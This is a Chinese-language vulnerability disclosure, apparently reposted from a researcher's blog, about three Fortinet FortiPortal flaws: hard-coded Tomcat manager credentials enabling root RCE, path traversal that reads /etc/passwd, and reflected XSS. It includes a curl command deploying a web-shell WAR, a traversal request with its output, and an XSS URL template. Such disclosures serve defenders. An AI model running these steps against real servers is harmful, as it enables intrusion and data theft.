Fortinet FortiPortal漏洞详情|CVE-2021-32588

漏洞CVE编号:

CVE-2021-32588
CVE-2021-36168

简介

Ben 在 FortiPortal 管理门户中向 Fortinet 提供了有关最近向 Fortinet 披露的漏洞的详细信息

我们最近在FortiPortal管理门户产品中向 Fortinet 的 PSIRT 披露了三个漏洞。

FortiPortal 是与 FortiManager、FortiGate 和 FortiAP 集成的多租户管理门户应用程序。FortiPortal 旨在面向外部,或者至少可以访问列入白名单的客户 IP 地址范围。通过测试期间的一些基本扫描,我们观察到大约 50 个面向 Internet 的 FortiPortal 实例。

尽管似乎没有任何简单的方法可以下载 FortiPortal 的试用版,但任何自行注册的用户都可以从 Fortinet 的支持站点下载 FortiManager 的试用版。FortiPortal 可以作为现有 FortiManager 实例的附加功能启用。在我们的测试过程中,通过 FortiManager Web 应用程序启用 FortiPortal 失败。但是,可以从 Fortinet 的 Docker 存储库中手动提取 FortiPortal 的 Docker 映像。这使我们能够通过查看本地文件系统上的文件(例如配置文件和反编译的 Java 代码)来查找 FortiPortal 产品中的安全漏洞。

未经身份验证的远程代码执行CVE-2021-32588

CVSSv3 分数:9.3

Fortinet PSIRT: FortiPortal – 身份验证绕过和以 root 身份远程执行代码

Fortinet FortiPortal漏洞详情|CVE-2021-32588

我们向 Fortinet 披露的最严重的漏洞可能允许未经身份验证的远程用户在 FortiPortal 主机上执行代码。

该漏洞的根本原因是在 Web 应用程序源代码中发现的硬编码 Tomcat 管理器凭据可能允许攻击者将任意代码部署到服务器。

FortiPortal 可以在 Docker 容器中运行,运行在 FortiManager 主机之上。FortiPortal Web 应用程序是在 Tomcat Web 服务器上运行的 Java 应用程序。

Tomcat 配置为公开公开管理端点/manager/text,任何具有fpcadmin用户凭据的用户都可以访问该端点。

fpcadmin用户在配置中tomcat-users.xml的泊坞图像文件。密码以散列格式存储。使用的哈希是 SHA-256,迭代 1000 次。为fpcadmin manager 用户分配了manager-script角色,该角色授予用户访问/manager/text端点的权限。

以下配置片段显示了fpcadmin /usr/local/tomcat/conf/tomcat-users.xml文件中的配置。

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" 
  version="1.0">
  <role rolename="manager-script" />
  <user username="fpcadmin" 
    password="<hash_redacted>" 
    roles="manager-script" />
</tomcat-users

由于密码被加密,攻击者需要通过破解加密密码来恢复明文密码。但是,fpcadmin应用程序本身使用用户来重新加载 Tomcat 配置。应用程序用于curl向管理端点进行身份验证,并指示 Tomcat 服务器重新加载。此过程要求明文密码可供代码调用使用curlfpcadmin用户的密码作为 base64 编码的 AES 加密值存储在 Java 类中。但是,散列是由应用程序使用硬编码密钥解密的。

/usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/FpcReloadTomcatApp.class该类中的以下代码片段显示了应用程序在何处使用硬编码的用户凭据。

public class FpcReloadTomcatApp {
  private static Logger log = LogManager.getLogger(FpcReloadTomcatApp.class.getName());
  
  private static final String TOMCAT_PWD_ENC = "<redacted>";
  
  public boolean reloadTomcatApp() {
    StringBuffer curlForReload = new StringBuffer();
    curlForReload
      .append("curl -k -u fpcadmin:")
      .append(CipherUtils.decryptString("<redacted>"))
      .append(" https://localhost/manager/text/reload?path=/fpc");
    log.info("execute curl for tomacat reload start " + Thread.currentThread().getName());
    try {
      String output = executeRequest(curlForReload.toString());
      log.info("Tomcat reload context 'fpc' result: " + output);
      return (output != null && output.contains("OK") && output.contains("fpc"));
    } catch (Exception ex) {
      String failedMessage = "reload context 'fpc' failed. details in log. restart Tomcat server to make SAML update in effect.";
      log.error(failedMessage, ex);
      return false;
    } 
  }

CipherUtils类包含一个硬编码密钥(称为一个字节数组key),也就是用于解密在通过密码reloadTomcatApp()方法。

/usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/CipherUtils.class该类中的以下代码片段显示了设置硬编码 AES 密钥值的位置以及解密方法。

public class CipherUtils {
  private static Logger log = LogManager.getLogger(CipherUtils.class.getName());
  
  public static final byte[] key = new byte[] { 
      <redacted> };
  
  private static final String algorithm = "AES";
  
  private static final String cryptospec = "AES/CBC/PKCS5PADDING";
  
  private static AlgorithmParameterSpec pSpec = null;
...
  public static String decryptString(String stringToDecrypt) {
    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
      SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
      byte[] iv = new byte[cipher.getBlockSize()];
      pSpec = new IvParameterSpec(iv);
      cipher.init(2, secretKey, pSpec);
      String decryptedString = new String(cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));
      log.debug("decrypt string");
      return decryptedString;

解密密码返回明文密码,可用于以fpcadmin管理员用户身份向 FortiPortal 实例进行身份验证。

利用该漏洞就像将 Java web shell 编译为 WAR 文件一样简单,然后使用以下curl命令将其部署到易受攻击的 FortiPortal 服务器。

curl --upload-file shell.war -u "fpcadmin:<password_redacted>" https://<fortiportal_url>/manager/text/deploy?path=/shell

经过身份验证的任意文件读取CVE-2021-36168

CVSSv3 分数:6.2

Fortinet PSIRT: FortiPortal – 控制器中的路径遍历

Fortinet FortiPortal漏洞详情|CVE-2021-32588

我们向 Fortinet 披露的另一个漏洞是任意文件读取问题,它可能允许经过身份验证的用户在 FortiPortal 主机的本地文件系统上进行路径遍历和读取文件。

易受攻击的端点检索存储在底层主机本地文件系统上的报告 PDF。用户在fileNameURL 参数中提供报告的文件名,用于指定要检索的文件路径。应用程序在指定路径检索文件并将文件内容返回给用户。

用户可以../fileName参数中提供路径遍历字符串(例如),以检索预期目录之外的文件。此问题允许经过身份验证的用户读取 Web 服务器有权读取的任何文件的内容。

以下代码/com/ftnt/pmc/controller/customer/ReportsController.java显示了fileName参数用于检索本地文件系统上的文件的位置。

@RequestMapping(value = {"/reportDownload"}, method = {RequestMethod.GET})
public void doDownload(Model model, HttpServletRequest request, HttpServletResponse response, @RequestParam("fileName") String fileName) throws IOException {
  response.setContentType("application/pdf");
  response.setHeader("Content-Disposition", "attachment; filename=" + fileName.replace('/', '_'));
  ServletOutputStream servletOutputStream = response.getOutputStream();
  
  FileInputStream inputStream = new FileInputStream(CommonUtils.getPropValue("reportsdownloadpath") + "/" + fileName);
  byte[] buffer = new byte[4096];
  int bytesRead = -1;
/ 
  
  while ((bytesRead = inputStream.read(buffer)) != -1) {
    servletOutputStream.write(buffer, 0, bytesRead);
  }
  
  inputStream.close();
  servletOutputStream.close();
}

reportsdownloadpathapplication.properties文件中检索环境变量中的目录路径。下面提供了默认值。

maxTxRxValue=9999
reportsdownloadpath=/var/tomcat/util/reports
jbosshostname=https://127.0.0.1:8443/fpc/sec
mailhostname=smtp.fortinet.com

要在默认路径之外进行路径遍历,必须指定正确的目录数。例如,要在/etc四个../遍历字符串中读取文件,需要传入fileNameURL 参数。此外,该reportsdownloadpath目录需要存在于文件系统上。未配置为与 FortiManager 或 FortiAnalyzer 通信的默认 FortiPortal Docker 映像在文件系统上没有此目录。但是,完全配置和操作的 FortiPortal 实例很可能具有所需的目录。

要利用此漏洞,请以任何经过身份验证的用户身份登录 FortiPortal 应用程序,然后浏览到以下 URL。

https://<fortiportal_url>/fpc/customer/reports/reportDownload?fileName=<file_path>

/etc/passwd下面提供了检索文件的示例 URL 。

GET /fpc/customer/reports/reportDownload?fileName=../../../../../etc/passwd

HTTP/1.1 200
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

跨站脚本 (XSS) CVE-2021-36168

CVSSv3 分数:5.7

Fortinet PSIRT: FortiPortal – XSS 漏洞

我们向 Fortinet 披露的最后一个漏洞是 FortiPortal Web 应用程序常见错误页面中反映的跨站点脚本 (XSS) 漏洞。XSS 漏洞被认为反映为攻击者在用户单击恶意链接时会执行的恶意脚本。

当 FortiPortal 应用程序返回 HTTP 500 错误页面时,会出现 XSS 问题。错误网页在 中显示消息字符串errorMessage。在某些情况下,错误消息的内容是用户可控的,并写入响应中,而无需对危险字符进行任何清理。

以下代码片段/usr/local/tomcat/webapps/fpc/WEB-INF/jsp/error.jsp显示了将errorMessage变量写入页面的位置。

<%@ taglib prefix="spring" uri="http://www.springframework.org/tags"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ page session="false" %>
<c:set var="pageName" value="errorPage" scope="request"/>
<!DOCTYPE html>
<html>
  <head>
    <jsp:include page="../../WEB-INF/jsp/templates/include/common/head.jsp"></jsp:include>
  </head>
  <body class="d-flex flex-column h-100">
    <header id="react-header" class="fpc-header header-auto-w">
      <jsp:include page="../../WEB-INF/jsp/templates/include/common/header.jsp"></jsp:include>
    </header>
    <div id="main">
      <div id="body_wrapper" class="public_page_site_container">
        <div class="container pt-4 pb-4 text-center">
          <p>Error: ${errorCode}</p>
          <p>Message: ${errorMessage}</p>

据观察,org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALEcookie 中提供的无效语言区域设置值会导致以下错误消息。

GET /fpc/v1/user/self/locale HTTP/1.1
Host: <fortiportal_url>
Cookie: org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=<

HTTP/1.1 500
...
  <div id="main">
      <div id="body_wrapper" class="public_page_site_container">
        <div class="container pt-4 pb-4 text-center">
          <p>Error: 500</p>
          <p>Message: Invalid locale cookie 'org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE' with value [<]: Locale part "<" contains invalid characters</p>

为了使此问题可用于 XSS,用户提供的内容需要来自攻击者可控制的输入,例如 URL 参数。

在 Apache Tomcat 中,org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALEcookie 被映射到一个名为lang. 通过在lang参数中提供 XSS 负载,攻击者可以对应用程序用户进行反射型 XSS 攻击。

Tomcat 配置文件/usr/local/tomcat/webapps/fpc/WEB-INF/classes/spring/applicationContext.xml显示了langURL 参数的配置位置。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
...
  <bean id="localeResolver"
    class="org.springframework.web.servlet.i18n.CookieLocaleResolver">
    <property name="defaultLocale" value="en" />
    <property name="cookieHttpOnly" value="true" />
    <property name="cookieSecure" value="true" />
  </bean>

  <bean
    class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="viewClass" value="com.ftnt.pmc.view.HeaderFooterView" />
    <property name="prefix" value="/WEB-INF/jsp/" />
    <property name="suffix" value=".jsp" />
  </bean>

  <mvc:interceptors>
    <bean class="com.ftnt.pmc.interceptor.FilterNonUserCallInterceptor" />
    <bean class="com.ftnt.pmc.interceptor.RequestInterceptor" />

    <bean class="org.springframework.web.servlet.i18n.LocaleChangeInterceptor">
      <property name="paramName" value="lang" />
    </bean>
  </mvc:interceptors>

为了利用 XSS 漏洞,攻击者会<script>langURL 参数中制作一个带有标签的URL。如果用户单击该链接,则攻击者的恶意脚本将在用户的安全上下文中执行。

https://<fortiportal_url>/fpc/v1/fmg_fpc_config?lang=<script_payload>

披露时间表

注意:日期以 NZST (GMT+12) 列出。

  • 5 月 27 日 -向 Fortinet PSIRT 披露未经身份验证的远程代码执行
  • 5 月 28 日 – 我们收到了 Fortinet PSIRT对未经身份验证的远程执行代码漏洞的接收和复制确认。
  • 6 月 8 日 -向 Fortinet PSIRT 披露了经过身份验证的任意文件读取
  • 6 月 8 日 –跨站脚本 (XSS)披露给 Fortinet PSIRT。
  • 6 月 10 日 – 我们收到了 Fortinet PSIRT对Authenticated Arbitrary File Read漏洞的接收和复制确认。
  • 6 月 14 日 – 我们收到了 Fortinet PSIRT对跨站点脚本 (XSS)漏洞的接收和复制确认。
  • 8 月 4 日 – Fortinet PSIRT 公开披露了所有三个漏洞。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注